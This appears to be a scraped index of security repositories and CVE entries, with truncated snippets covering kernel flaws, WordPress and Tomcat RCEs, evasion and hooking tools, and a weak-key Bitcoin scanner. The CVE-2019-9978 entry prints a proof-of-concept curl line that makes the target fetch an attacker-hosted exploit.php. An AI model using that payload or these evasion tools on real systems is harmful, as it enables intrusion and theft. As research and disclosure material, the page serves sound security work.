CVE-2026-110696

A weakness has been identified in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The affected element is an unknown function of the file dbtables.sql. Executing a manipulation can lead to information disclosure. The attack may be launched remotely. The...

Vulnerable-to-Debian-OpenSSL-bug-CVE-2008-0166

Search for BTC coins on earlier versions of Bitcoin Core with critical vulnerability OpenSSL 0.9.8 CVE-2008-0166 In this article, we will create a tool that will generate Bitcoin Addresses P2PKH using the CVE-2008-0166 vulnerability. This is a research project to find BTC coins on earlier version...

DOCxNGINxFX

WORDLISTxGENERATORxFX Version 1.0 Version 2.0 WORDLISTxGENERATORxFX renamed to DOCxNGINxFX Version 3.0 DOCxNGINxFX I wrote this to give somethink back to the great and powerful open source community all out there that shares their knowledge or frameworks and from whom I have learned so much. The...

kernel: udp: fix potential use-after-free in tunnel segmentation

A flaw was found in the Linux kernel's UDP User Datagram Protocol tunnel segmentation. This vulnerability arises when the system attempts to process network packets, specifically in the skbudptunnelsegment function. An attacker could potentially exploit a use-after-free condition, where the syste...

CVE-2025-24813

Exploitation Conditions DefaultServlet Write Function Enabled: Must configure readonly=false in web.xml Partial PUT Request Support: Tomcat supports chunked upload by default File Session Persistence Enabled: Must configure PersistentManager and FileStore in context.xml Deserialization Exploit...

InjectProc

InjectProc Process injection is a very popular method to hide malicious behavior of code and are heavily used by malware authors. There are several techniques, which are commonly used: DLL injection, process replacement a.k.a process hollowing, hook injection and APC injection. Most of them use...

nuclearpond-OFJAAAH

Nuclear Pond V.2 We forked this project so we can continue with this great idea, I hope that together we can improve the code and make it available to everyone - @OFJAAAH To install Nuclear Pond, you need to configure the backend terraform module. You can do this by running terraform apply or by...

kernel: udp: fix potential use-after-free in tunnel segmentation

A flaw was found in the Linux kernel's UDP User Datagram Protocol tunnel segmentation. This vulnerability arises when the system attempts to process network packets, specifically in the skbudptunnelsegment function. An attacker could potentially exploit a use-after-free condition, where the syste...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress plugin RCE RCE on a Social Warfare Wordpress plugin without any prior authentication Proof Of Concept curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Vulnerable code : Fix:...

CVE-2024-9593

CVE-2024-9593 Time Clock = 1.2.2 & Time Clock Pro = 1.1.4 - Unauthenticated Limited Remote Code Execution Description: The Time Clock plugin and Time Clock Pro plugin for WordPress are vulnerable to Remote Code Execution in versions up to, and including, 1.2.2 for Time Clock and 1.1.4 for Time...

pyshark-legacy

pyshark This repository is for the legacy version of pyshark, which works on Python2.7+. It only receives bugfixes after version 0.3.8. For the new version that's only supported on Python 3.5+, please use themain repo Python wrapper for tshark, allowing python packet parsing using wireshark...

Chankro

Chankro Your favourite tool to bypass disablefunctions and openbasedir in your pentests. How it works PHP in Linux calls a binary sendmail when the mail function is executed. If we have putenv allowed, we can set the environment variable "LDPRELOAD", so we can preload an arbitrary shared object...

CVE-2021-3156

CVE-2021-3156 toc Vulnerability Overview Vulnerability ID: CVE-2021-3156 Vulnerability Score: Affected Product: Linux sudo Affected Versions: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1 Exploitation Conditions: Linux local; sudo is suid and executable Impact: Local privilege escalation Source Code:...

CVE-2024-8353

This post is a research article published by EQSTLab. Thanks tocuokon, who discovered this vulnerability. Introduction Further Analysis CVE-2024-5932 EQST Insight R&TPDF file. https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021 CVE-2024-8353 ★ CVE-2024-8353 Arbitrary...

Forklift_LPE

Forklift 3.3.9 Local Privilege Escalation When installing the Forklift, a new helper called com.binarynights.ForkLiftHelper for Mac OS X is automatically installed to the /Library/PrivilegedHelperTools/ directory. Analyzing this helper, which handles XPC messages, resulted in different ways of...

CVE-2024-0582

RU GenIoURingExploit is a PoC exploit targeting a specific vulnerability in the Linux kernel CVE-2024-0582. The PoC leverages the iouring mechanism to gain unintended access and potentially escalate privileges by manipulating socket buffers and triggering certain kernel behaviors. Features Utiliz...

LazyHook

Overview LazyHook is a stealthy API hooking framework that bypasses Host Intrusion Prevention Systems HIPS through call stack spoofing. By leveraging CPU-level hardware breakpoints and Vectored Exception Handling, it executes arbitrary code as if it originated from trusted, Microsoft-signed...

Vol3xp

Vol3xp, Volatility 3 Explorer Plugins WinObj - Windows Kernel Objects Explorer an improve of https://github.com/kslgroup/WinObj for volatility 3 winobj.py WinObj very similar to WinObj sysinternals Also supports Struct Analyzer and WinObjGui from VolExp. RAMMap - Physical Address Mapping pfn.py...

SysWhispers2

SysWhispers2 SysWhispers helps with evasion by generating header/ASM files implants can use to make direct system calls. All core syscalls are supported and example generated files available in the example-output/ folder. Difference Between SysWhispers 1 and 2 The usage is almost identical to...

zentao

zentao Getshell downloadZipPackage find C:\Users\Jas502n\Desktop\xamppfindstr /s /i "downloadZipPackage" zentao\log.txt:module\client\control.php: $result = $this-client-downloadZipPackage$version, $link; zentao\log.txt:module\client\ext\model\xuanxuan.php:public function...